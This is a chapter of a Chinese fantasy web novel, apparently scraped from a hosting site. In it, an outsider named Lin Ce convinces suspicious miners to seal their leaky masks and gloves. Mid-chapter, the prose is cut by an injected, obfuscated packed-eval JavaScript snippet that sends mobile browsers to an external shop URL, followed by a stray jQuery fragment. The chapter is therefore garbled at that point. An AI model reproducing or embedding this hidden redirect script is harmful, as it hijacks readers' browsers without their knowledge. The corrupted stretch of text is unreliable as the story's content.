文趣网 > 其他小说 > 她从荒芜开始 > 4. 第一道缝隙
    冷雾像浸了冰的羊毛,裹着淡淡的腥锈味沉在落石村的泥路上。

    下了三天的暴雨终于歇了,橙红色的朝阳从黑石荒原尽头爬上来,却没多少暖意。

    北境的太阳向来是软弱的,尤其是瘴潮刚起的时节,光铺在满地泥水上,只映出一片惨白的亮,烤不散沉在巷底的寒气。

    林策走在前面。

    凯恩提着那把不知道从哪里捡来的旧刀,跟在她身后半步的位置。

    两人刚转过巷口,原本正在低声交谈的人群忽然安静下来。

    像是一群受惊的寒鸦,被什么东西突然掐住了声音。

    一个女人下意识把孩子拽进怀里,匆匆退回屋内。

    木门砰地关上。

    墙皮被震得簌簌落下。

    有人贴着墙根往后挪,目光落在林策身上。

    准确来说,是落在她那张与这里所有人都不同的脸上。

    东陆人的面孔,在黑石域实在太少见。

    墙角晒太阳的老妇人低声念叨:

    “远东来的异客……”

    “瘴气里来的……”

    “别靠太近,别沾了邪气。”

    林策面无表情地听着。

    如果按照这些人的想象继续发展,恐怕再过两天,她就要从“东陆来的陌生人”,升级成“能召唤深渊魔物的女巫”。

    这是对非我族类的本能排斥与恐惧。

    林策明白自己目前这张东方面孔有多扎眼。

    这个村子里的村民都长得像西方人面孔,就是身边的凯恩,虽说也是黑发,却是一头蓬松的自然卷,搭配立体深邃的骨骼和绿宝石似的眼瞳,一看就是这片土地土生土长的人。

    在他们眼里,她不是一个普通姑娘。而是一件无法判断危险等级的东西。

    在林策的记忆碎片里,原身昏倒在村外木屋那天,他们就远远瞥见过一眼,便把她归为异种。

    他们任由她在破屋里烂掉,不是残忍,是自保。

    如今本该病死的人活了,村民不怕才怪。

    恐惧,是黑石村最常见的东西。

    凯恩的存在则把这份恐惧又翻了一倍。

    他半垂着眼皮,一副没睡醒的样子,可北境的野狗都懂,真正咬人的狼从不会乱吠。

    那三声骨裂声太脆,脆得隔着半条街都能听见。

    “他们怕你多些。”林策悄悄对凯恩说。

    “怕你是诅咒源头,怕我是刀。”凯恩打了个哈欠,“没差。反正都要躲着走。”

    林策瞥了他一眼:“你就不能收收你那股反派气场?”

    凯恩一脸无辜:“我已经很收敛了,不然他们现在应该已经跪在地上祷告了。”

    林策没接话。她发现,凯恩认真解释的时候,反而更像威胁。

    村长家比其他村民的家大一些,但也只是大一些。

    他家的木门是歪的,用铁丝箍了两道,门板上刻满了歪歪扭扭的圣光纹,叠了一层又一层。

    村长老伍德听见脚步声拉开门,看见两人的瞬间,枯树皮似的手猛地攥紧了门框。他左脸上有一块暗褐色的疤,是早年黑泥溅上去烂的,眼窝深陷,浑浊的眼珠里全是警惕。

    “你们来做什么?”他的声音像砂纸磨过木头,“村子没多余的黑麦,也没活给外人。往北去黑石城,别在这儿惹事,吉姆和圣堂的修士我们都惹不起。”

    “我叫林策。”她先介绍自己,“昨天暴雨,我借住了村外木屋。他……”

    她指了一下凯恩。

    凯恩配合地往旁边退了一步。

    “下手重了一点。所以我来说明情况。”

    老伍德没有说话。

    林策继续:“另外,我想问问村里有没有需要人的地方。挖矿也好,搬东西也好。我和他可以做。换一点吃的,再有一个能挡雨的地方。”

    凯恩配合地退到院墙边,背靠着夯土墙,目光落在远处荒死的田地上,仿佛对屋里的谈话毫无兴趣。

    可老伍德的后背始终绷着。

    他活了六十二年,从没见过这么年轻、下手却这么狠的角色。

    “那条坑道绝不是活人该去的地方。”老伍德声音干瘪,“现在地底正闹瘴潮,里面冒出来的毒烟比平时烈了足足三成。那些黑泥是深渊里流出来的脓血,沾在手上皮肉就会烂透,吸进肺里,脑子就会被烧得像疯狗一样。圣堂的修士说,这是我们该受的’苦修’,得拿命去赎。”

    林策的目光扫过院角的泥筐,筐边扔着几个皱巴巴的皮面罩。

    皮子硬得像晒干的树皮,接缝处裂着能塞进指头的缝。

    “这面罩,怕是挡不住多少。”

    这话戳在了痛处。

    “圣堂的正品要三十个铜币一个,半个月光效就散了,谁用得起?”他叹了口气,“吉姆手里倒有二手的,都是工坊用剩的,缝缝补补卖五个铜币。能挡一点是一点,总比裸着下去强。”而且他们也没得选,老伍德苦笑,“吉姆手里有矿监署发的特许牌子,是这一片唯一能合法收泥的人。他说什么价,就是什么价。”

    院墙外响起低低的附和声。

    不知何时,墙根下已经聚了十来个村民,躲在雾里偷偷听。

    一个裹着黑头巾的妇人开了口:“何止烂手!下得深了,耳朵里成天嗡嗡响,慢慢人就傻了、疯了。盖尔去年跑进了黑瘴林,再也没回来。”

    那是玛莎,盖尔是她的丈夫,她现在和儿子相依为命。

    人群里有个白胡子老头颤巍巍地摇头:“这是我们的宿命,受尽苦难后,灵魂才能升入神国。私自篡改防具,那是对至高圣光的亵渎,死后会坠入地狱。”

    林策把面罩翻过来,看了一眼内侧。

    面罩内侧刻着圣光纹。林策看不懂这些符号,但能看出它和真正的工艺没有关系。

    在这个世界里,圣光也许真的存在,信仰也许真的能够带来力量,但眼前的问题,并不是有没有神明。

    而是这个面罩结构不对啊。

    “你们有没有试过,把边缘封起来?”

    “封?”老伍德看着她。

    “就是让面罩贴的更紧。”她转头看向老伍德:“我在家乡见过类似的毒泥矿。你们烂手、发疯,不是诅咒太重,是面罩漏风、手套进水,瘴气会顺着缝往身体里钻。”

    这句话像一滴冷水进了油锅,院墙外瞬间炸开了嗡嗡的议论。

    “一个外邦小妞懂个屁!”

    人群里挤出来个瘸腿汉子,右脸上长着癞痢,是村里有名的闲汉托比,平日里靠给吉姆跑腿传信混两口黑面包。

    他仗着有人撑腰,嗓门提得老高:“我看你就是黑瘴林里跑出来的女巫!想哄我们摘了面罩,让诅咒把全村都吞了!”

    “就是!圣堂的修士老爷说了,受苦是赎罪,躲不得!”

    人群的情绪瞬间被拱了起来,吵嚷声越来越大,有人已经攥起了脚边的石头。

    林策没急着反驳。

    她太熟悉这种场面了。以前跟工厂谈新工艺,老工人第一句话永远是:我都这么干十几年了,没见过你这个要求的。

    凯恩却觉得有点烦。

    “当”的一声轻响。

    凯恩没抬头,只是用柴刀背随意敲了敲脚下的石头。

    声音不大,却像冰锥子扎进每个人的后颈。

    院墙内外瞬间死一般的静,托比的脸唰地白了,还想说什么,却生生把话堵在喉咙里,灰溜溜缩了回去。

    林策回头瞪了凯恩一眼,后者耸耸肩,一脸无辜:“有点吵着我补觉。”

    她转身走向墙角,那里搁着一块平整的碎木板,地上还有一截黑炭。

    她捡起黑炭,把木板靠在墙上,抬手就画。

    “她要施法了!

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821734|211153||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    “快退!别被诅咒沾上身!”

    人群像被踩了尾巴的猫,集体往后退,踩得泥水四溅。

    林策:“……”

    她大喝一声:“停!”

    人群像被按了暂停键,犹犹豫豫地停住脚步,又探头探脑地慢慢凑回来,像一群怕被烫又好奇的猫。

    “回来。”她又大喝一声,下意识的人们又如潮水一般围过来,“你们谁见过用黑炭和木板施法的?”她手顿了一下:“说不清楚,我画给你们看。”

    炭笔在木板上落下一个歪歪扭扭的半圆,像倒扣的锡碗。她在边缘画了一圈粗线,又在口鼻处点了一堆黑点。

    “你们现在的面罩,”她用脚尖点了点筐里的残次品,“一块皮子挖俩洞,缝又绑不紧,边缝全漏风。毒烟顺着缝往里钻,戴了等于白戴。”

    她把木板转向人群:“这个改良版,边缘用熬化的松脂封严实,中间填烧透的木炭碎。木炭有细孔,脏东西会被吸住,吸进肺里的就少了。”

    她接下去继续画,"你们现在戴的薄皮手套,单层皮子,袖口敞着,泥一泡就透。"她用脚尖点了点筐里另一堆破烂,"跟下雨天穿单皮靴不扎裤脚一个道理——水灌进去,脚泡得发白溃烂,不是靴子不厚,是口子没扎紧。"

    她手指点图上:"用双层厚鞣皮,加长到小臂,腕口留绳子系紧,里面缝一层粗麻布吸汗。泥灰钻不进去,手自然不会烂。"

    老伍德蹲下来,枯瘦的手指摩挲着木板上歪歪扭扭的线条,看了很久。

    “就这么简单?”他抬起头,浑浊的眼睛里有什么东西晃了晃,像快要熄灭的火星。

    “就这么简单。”林策说,“难的不是做,是想到怎么改。”

    “不行!绝对不行!”托比又壮着胆子探出头,声音尖得刺耳,“这是违背圣堂旨意的!修士们下个月底就来巡查,要是看见我们自己改护具,会把人当异端抓走绑火刑柱的!”

    这话戳中了所有人的软肋。

    北境的人可以不怕烂手,不怕发疯,却怕圣堂的裁决。

    林策把木板往地上一搁,拍了拍手上的炭灰:“我没说要对抗圣堂。只是把面罩缝严实点,又不是亵渎神灵。如果神明创造了人,大概也不会希望人把自己送进危险里。”

    她顿了顿,抛出了最实在的筹码:“这样,我做两套出来,找两个人试半天,就挖浅层的泥。半天下来,手不烂、头不晕,就算有用;要是出了事,我和我同伴担着,跟村子没关系。”

    凯恩看了她一眼,他想要提醒她,自己不是她的同伴。他只是一个暂时同行、收了钱帮她解决麻烦的佣兵。

    但话到嘴边,他还是没说出来。

    老伍德沉默了。

    风卷着雾从院门口刮过去,带着黑泥的腥气。他看了看院角堆成山的泥筐,又想起这些年死在矿里的人。

    落石村已经烂到根上了。

    再差,还能差到哪去?

    “好。”老伍德声音沉了下去,“皮革、松脂、木炭,我们给你凑齐。做好后,我给你两个人,半个白昼的时间去矿道里试。如果那两个孩子能完好无损地走出来,之后的事我们再谈。”

    “一言为定。”林策伸出手。

    老伍德愣了愣,犹豫了两秒,粗糙的手掌重重拍了上去。

    院墙外的人慢慢散了。有人摇头,有人叹息,但也有些人的眼中,正摇曳着一丝连自己都不敢奢望的微光。

    玛莎把怀里的孩子往上托了托,走在队伍最末端的她突兀地驻足,低垂着眼睑:“要是这真能成……盖尔留下的那把矿镐,也还能用。”

    林策冲她点了点头。

    很多事情都是这样开始的。

    不是从胜利开始的,而是从一道很小的裂缝开始。

    而这第一道缝,在村子愿意给她一次尝试的机会时,终于出现了。